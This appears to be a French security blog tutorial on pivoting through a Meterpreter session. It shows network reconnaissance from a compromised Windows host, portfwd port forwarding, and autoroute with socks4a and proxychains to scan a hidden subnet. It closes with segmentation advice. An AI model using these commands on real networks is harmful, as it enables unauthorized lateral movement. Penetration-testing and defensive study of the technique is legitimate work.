Skip to content

Techniques de pivoting avec meterpreter

Dans cet article, je vais vous présenter différentes façon d’utiliser une machine infectée pour faire du pivoting à partir de meterpreter et des différents modules metasploit.

Par « infectée », j’entends une machine sur laquelle on dispose d’une session meterpreter.

Qu’est ce que le pivoting

Dans pivoting, et même s’il s’agit d’un terme anglais, on entend le mot « pivot ». La technique du pivoting consiste pour un attaquant à accéder à des réseaux ou des machines avec lesquelles il n’est pas censé pouvoir communiqué et cela en utilisant une machine infectée comme « pivot », entre les réseaux. La machine infectée devient alors un point de liaison qui permet à l’attaquant d’aller plus loin dans la découverte et la compromission d’un réseau.

Pour cela, l’attaquant va utiliser une machine qui accède aux deux réseaux, celui auquel l’attaquant a accès et celui auquel il n’a pas accès.

Pour les adeptes de la loi Toubon, on peut traduire pivoting par « rebond », la machine de pivoting sert en réalité à l’attaquant pour rebondir sur/vers un autre réseau.

On peut retrouver plusieurs contextes dans lesquels un attaquant peut souhaiter infecter une machine afin d’avoir accès à un autre réseau, quelques exemples.

  • Dans les cas d’une architecture sécurisée, les serveurs sont segmentés par rôle et le réseau dispose d’un sous-réseau pour chaque rôle (base de données, serveur applicatifs, proxy inverse, etc..), cependant chaque serveur dispose de deux interfaces, une pour les services métiers, l’autre pour l’administration. Souvent, le réseau d’administration est commun à toutes les machines. Un attaquant peut donc infecter un des serveurs, puis faire du pivoting sur celui-ci afin d’atteindre les ports d’administration des autres serveurs de l’architecture
  • Les ordinateurs des administrateurs système ou les bastions d’administration sont de très bons choix pour réaliser un pivoting également. Leur rôle fait qu’elles ont un accès à des réseaux sensibles souvent non atteignables par un utilisateur standard.
  • Le cas de l’accès à une machine utilisateur à l’intérieur d’un réseau alors que l’attaquant est à l’extérieur de celui-ci est le cas le plus courant. L’attaquant va alors pouvoir agir sur le réseau interne de l’entreprise au travers la session meterpreter qu’il aura obtenu sur le système de sa victime. Celui-ci deviendra alors une machine pivot de choix, car elle ouvrira une porte sur le réseau interne de l’entreprise.

Dans le schéma réseau suivant, on distingue deux réseaux, la machine « C » accède aux deux réseaux, contrairement aux machines A et B qui n’accèdent qu’au réseau 1. L’attaquant qui prend le contrôle de la machine C pourra donc l’utiliser comme pivot et accéder au réseau 2 au travers celle-ci.

Schéma de la mise en place d'un pivoting via une session meterpreter sur une machine infectée
Schéma de la mise en place d’un pivoting via une session meterpreter sur une machine infectée

L’objectif est ici d’attaquer la machine « Y », située dans un réseau non joignable depuis la position initiale de l’attaquant. Les diverses attaques menées jusque là ont permis à l’attaquant d’obtenir un meterpreter sur la machine pivot (machine C). Une machine qui est en liaison avec les deux réseaux identifiés : celui de l’attaquant; celui de la machine cible.

Cet article va donc exposer plusieurs méthodes afin d’utiliser la machine pivot pour découvrir un réseau entier ou effectuer une simple redirection de port.

Etude des informations réseau de la cible infectée

La première chose à faire lorsque l’on a compromis une machine est d’étudier sa position exacte dans le réseau, notamment afin de voir si celle-ci peut être utilisée comme pivot.
Depuis une session meterpreter, on peut notamment lister la configuration réseau du système infecté, on peut également lister les routes présentes sur cette machine et ainsi connaitre les réseaux à découvrir et qui n’étaient pas accessibles initialement par l’attaquant :

meterpreter > ipconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 3
============
Name : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:8e:06:ca
MTU : 1500
IPv4 Address : 192.168.1.101
IPv4 Netmask : 255.255.255.0
Interface 8
============
Name : Intel(R) PRO/1000 MT Desktop Adapter #2
Hardware MAC : 08:00:27:30:0d:34
MTU : 1500
IPv4 Address : 192.168.57.101
IPv4 Netmask : 255.255.255.0

On voit dans la sortie de la commande meterpreter « ipconfig » que le système infecté possède deux interfaces physique, chacune dans un réseau différent. Une interface avec l’IP 192.168.1.101 qui a été l’interface sur laquelle l’attaquant à initialement infecté le système (en suivant le schéma précédemment exposé), et une interface avec l’IP 192.168.57.101 qui est donc un nouveau réseau pour l’attaquant.

On peut également lister les routes définies sur le système infecté, notamment pour voir si de nouvelles routes sont joignables par rapport à la position de l’attaquant sur le réseau.

IPv4 network routes
===================
Subnet Netmask Gateway Metric Interface
 ------ ------- ------- ------ ---------
 0.0.0.0 0.0.0.0 192.168.1.1 281 3
 127.0.0.0 255.0.0.0 127.0.0.1 331 1
 127.0.0.1 255.255.255.255 127.0.0.1 331 1
 127.255.255.255 255.255.255.255 127.0.0.1 331 1
 192.168.1.0 255.255.255.0 192.168.1.101 281 3
 192.168.1.101 255.255.255.255 192.168.1.101 281 3
 192.168.1.255 255.255.255.255 192.168.1.101 281 3
 192.168.57.0 255.255.255.0 192.168.57.101 281 8
 192.168.57.101 255.255.255.255 192.168.57.101 281 8
 192.168.57.255 255.255.255.255 192.168.57.101 281 8
 224.0.0.0 240.0.0.0 127.0.0.1 331 1
 224.0.0.0 240.0.0.0 192.168.1.101 281 3
 224.0.0.0 240.0.0.0 192.168.57.101 281 8
 255.255.255.255 255.255.255.255 127.0.0.1 331 1
 255.255.255.255 255.255.255.255 192.168.1.101 281 3
 255.255.255.255 255.255.255.255 192.168.57.101 281 8

On retrouve ici plusieurs routes, et notamment la route vers le réseau 192.168.57.0/24. A noter que la visualisation des routes permet d’en apprendre plus qu’un simple ipconfig, qui expose seulement les réseaux sur lesquels le système infecté possède une IP.

Le cache ARP du système infecté peut également nous aider à découvrir de nouvelles cibles, machines comme sous réseaux :

ARP cache
=========
IP address MAC address Interface
 ---------- ----------- ---------
 169.254.44.104 08:00:27:2d:b5:c6 8
 192.168.1.1 40:c7:29:3f:24:2e 3
 192.168.1.2 24:5e:be:04:57:71 3
 192.168.1.17 00:78:9e:cd:66:34 3
 192.168.1.24 c4:8e:8f:f6:3e:63 3
 192.168.1.255 ff:ff:ff:ff:ff:ff 3
 192.168.57.102 08:00:27:2d:b5:c6 8
 192.168.57.255 ff:ff:ff:ff:ff:ff 8
 224.0.0.2 00:00:00:00:00:00 1
 224.0.0.2 01:00:5e:00:00:02 3
 224.0.0.2 01:00:5e:00:00:02 8
 224.0.0.22 00:00:00:00:00:00 1
 224.0.0.22 01:00:5e:00:00:16 3
 224.0.0.22 01:00:5e:00:00:16 8
 224.0.0.251 01:00:5e:00:00:fb 3
 224.0.0.252 01:00:5e:00:00:fc 3
 224.0.0.252 01:00:5e:00:00:fc 8
 239.255.255.250 00:00:00:00:00:00 1
 239.255.255.250 01:00:5e:7f:ff:fa 3
 239.255.255.250 01:00:5e:7f:ff:fa 8
 255.255.255.255 ff:ff:ff:ff:ff:ff 3
 255.255.255.255 ff:ff:ff:ff:ff:ff 8

Voila qui est intéressant, vous noterez la présence de l’IP 192.168.57.102, une autre machine du nouveau sous réseau découvert.

Si le cache ARP ne nous suffit pas, on peut toujours effectuer un scan ARP à partir de la machine compromise. Pour cela, nous allons utiliser le module arp_scanner de metasploit, qui peut être utilisé directement dans une session meterpreter.

meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.57.0/24
[*] Running module against DESKTOP-LBQRVKI
[*] ARP Scanning 192.168.57.0/24
[*] IP: 192.168.57.101 MAC 08:00:27:30:0d:34 (CADMUS COMPUTER SYSTEMS)
[*] IP: 192.168.57.102 MAC 08:00:27:2d:b5:c6 (CADMUS COMPUTER SYSTEMS)

On retrouve à nouveau l’adresse IP du système infecté sur le réseau 192.168.57.0/24, mais également une nouvelle machine sur ce réseau. Voir cet article pour mieux comprendre le fonctionnement du scan ARP :

Suivi de port (Port Forwarding) via une session meterpreter

A présent, nous savons qu’une machine est présente sur le réseau 192.168.57.0/24 en plus de celle que nous avons infecté. L’objectif va donc être de joindre cette nouvelle machine au travers la session meterpreter dont nous disposons sur le système infecté.
Une fois qu’une cible est identifiée (IP:Port), on peut utiliser la session meterpreter en cours afin d’effectuer un suivi de port (port forwarding) au travers cette session. Le résultat final sera celui-ci, par exemple si l’attaquant souhaite atteindre le port 445 de la cible au travers la session meterpreter.

Schéma de la mise en place d'un suivi de port au travers une session meterpreter dans le cadre pivoting
Schéma de la mise en place d’un suivi de port au travers une session meterpreter dans le cadre pivoting

Pour mettre en place cela, on utilise la commande portfwd, présente nativement dans meterpreter. Par exemple pour atteindre le port 445 de notre nouvelle cible :

meterpreter > portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445
[*] Local TCP relay created: 0.0.0.0:445 <-> 192.168.57.102:445

Je vous invite à saisir la commande portfwd -h pour avoir des informations sur les options disponibles. Pour préciser celles utilisées ici :

  • -L : permet de préciser l’IP d’écoute (binding) pour le suivi de port
  • -l : permet de préciser le port d’écoute local pour le suivi de port
  • -r : permet de spécifier la cible du suivi de port (l’IP que l’on souhaite atteindre au travers celui-ci)
  • -p : permet de spécifier le port cible du suivi de port

La directive add permet d’ajouter un suivi de port, saisir la même commande en le par remplaçant par delete supprimera le suivi de port indiqué. On peut donc lister les suivis de ports actifs sur notre session meterpreter avec l’option list:

meterpreter > portfwd list
Active Port Forwards
====================
Index Local Remote Direction
 ----- ----- ------ ---------
  1 0.0.0.0:445 192.168.57.102:445 Forward
1 total active port forwards

A présent, si l’on revient sur notre système attaquant (Contrôle + Z pour mettre en fond de tâche la session meterpreter courante), on pourra visualiser notre port 445 en écoute sur notre système :

root@kali:~# netstat -eltn
Connexions Internet actives (seulement serveurs)
Proto Recv-Q Send-Q Adresse locale Adresse distante Etat Utilisatr Inode
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 116 22099
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN 0 23721

On voit ici effectivement que le port 445 local de ma machine attaquant est en écoute. Joindre ce port, par exemple avec nmap, redirigera les paquets directement vers la machine 192.168.57.1:445, cela grâce à notre session meterpreter.

On peut ainsi établir plusieurs suivis de port au travers la session meterpreter en place, à condition qu’il n’y ai pas de conflit évidemment.

Meterpreter, socks4a et proxychains…

Effectuer une redirection de port tel qu’exposé précédemment est bien pratique, cependant il peut être tout aussi utile de savoir réaliser la même opération de façon plus large, notamment lorsque l’on ne connait pas à l’avance l’IP ou la machine ciblée, pour cela, nous pouvons faire en sorte de considérer notre session meterpreter comme un proxy.  Nous allons alors utiliser le module socks4a de metasploit et l’outil proxychains.

Le cas le plus courant étant celui du balayage réseau (scan). L’attaquant va par exemple souhaiter faire un balayage réseau avec l’outil nmap à travers la machine pivot afin de scanner le réseau 192.168.57.0/24 dans son ensemble.

Schéma de la mise en place d'un tunnel socks4a au travers une session meterpreter dans le cadre pivoting
Schéma de la mise en place d’un tunnel socks4a au travers une session meterpreter dans le cadre pivoting

Dans un premier temps, nous allons devoir rajouter une route au niveau de notre session metasploit, nous utiliserons pour cela le module autoroute. Celui-ci va nous permettre de déclarer une route qui pourra être utilisée non plus uniquement pour notre session meterpreter, mais directement au niveau des modules metasploits et notamment par socks4a.

meterpreter > run autoroute -s 192.168.57.0/24
[*] Adding a route to 192.168.57.0/255.255.255.0...
[+] Added route to 192.168.57.0/255.255.255.0 via 192.168.1.101
[*] Use the -p option to list all active routes

Si l’on souhaite lister les routes actuellement définies, on peut utiliser la commande suivante :

meterpreter > run autoroute -p
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
192.168.57.0 255.255.255.0 Session 1

On retourne donc dans metasploit, et l’on va charge le module socks4a.

msf auxiliary(tcp) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
msf auxiliary(socks4a) >
[*] Starting the socks4a proxy server

socks4a ce charge d’ouvrir un port en local sur la machine de l’attaquant (ici 1080, les flux qui y sont dirigés sont ensuite redirigés vers la session sur laquelle est établie notre meterpreter, car c’est celle-ci que nous permet d’atteindre le réseau 192.168.57.0/24.
On vera donc un nouveau port en écoute sur la machine de l’attaquant

root@kali:~# netstat -eltn
Connexions Internet actives (seulement serveurs)
Proto Recv-Q Send-Q Adresse locale Adresse distante Etat Utilisatr Inode
tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN 0 24406
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 116 22099
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN 0 23721

Nous allons maintenant utiliser proxychains pour l’informer de notre proxy socks4. Proxychains est un outil qui permet de diriger des connexions TCP au travers un proxy. On édite donc la configuration de proxychains dans le fichier /etc/proxychains.conf :

vim /etc/proxychains.conf

Et on ajoute cette ligne à la toute fin du fichier :

[...]
socks4 127.0.0.1 1080

A présent, il ne nous reste plus qu’à utiliser la commande nmap souhaitée, en commençant par lui annoncer qu’il devra passer par proxychains :

Dans le cas de l’utilisation de nmap au travers proxychains, préférez un scan TCP Connect (option -sT) plutôt qu’un scan TCP SYN (option -sS), qui peut mal être mal géré par proxychains. Plus d’informations sur les types de scan : Les scans de port via TCP : SYN, Connect et FIN

root@kali:~# proxychains nmap -sT -n 192.168.57.102 -p 445 --open -Pn
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.50 ( https://nmap.org ) at 2017-07-21 06:21 +07
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.57.102:445-<><>-OK
Nmap scan report for 192.168.57.102
Host is up (0.12s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds

Tout le trafic généré par nmap passera donc par le tunnel établi au travers notre machine pivot, pour « ressortir » du côté du réseau non atteignable directement par l’attaquant (donc le réseau de la machine définie comme « cible »).

Nous avons donc vu différentes méthodes permettant d’effectuer du pivoting avec les modules et outils présents dans metasploit, il s’agit d’une technique à connaitre lorsque l’on réalise des tests d’intrusion notamment. Enfin, il est à noter que l’on peut tout à fait chaîner les machines pivot au sein d’un réseau, la machine 192.168.57.102, si infectée, aurait également pu exécuter une session meterpreter pour l’attaquant, puis à son tour servir de pivot pour permettre à celui-ci d’accéder à d’éventuels nouveaux réseaux, il ne faut alors pas se perdre dans les différents suivis de ports établis.

Quelques recommandations …

Différentes recommandations peuvent être émises concernant ce type de scénario d’attaque. Il convient tout d’abord de protéger les systèmes d’exploitation d’une compromission, ce qui permettrait d’éviter toute possibilité de rebondissement d’un réseau à l’autre à partir d’une première compromission, ceci étant suffisamment complexe à réaliser, d’autres protections peuvent être mise en place.

Le principe de défense en profondeur et de segmentation réseau est ici important. Il convient donc de strictement structurer les utilisateurs du réseau et d’interdire strictement toutes les communications non utiles entre les réseaux. Un réseau du service A et du service B auront besoin d’accéder aux mêmes serveurs (qui ont un réseau dédié), mais le service A et le service B n’auront jamais à communiquer ensemble, il convient donc d’interdire ces communications à l’aide d’un pare-feu en appliquant le principe de défense en profondeur au niveau réseau.

De même, l’exemple du rebondissement via une machine d’administration ou d’un bastion exposé en début d’article semble être le plus critique. Il est donc important de protéger convenablement les systèmes des administrateurs et d’isoler strictement les machines d’administration du reste du réseau (réseau d’administration non connecté à interne, sur un réseau dédié non connecté au réseau des utilisateurs, etc.
Sources :

Partager :
Published inAttaques

One Comment

  1. yukora

    super tuto merci

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *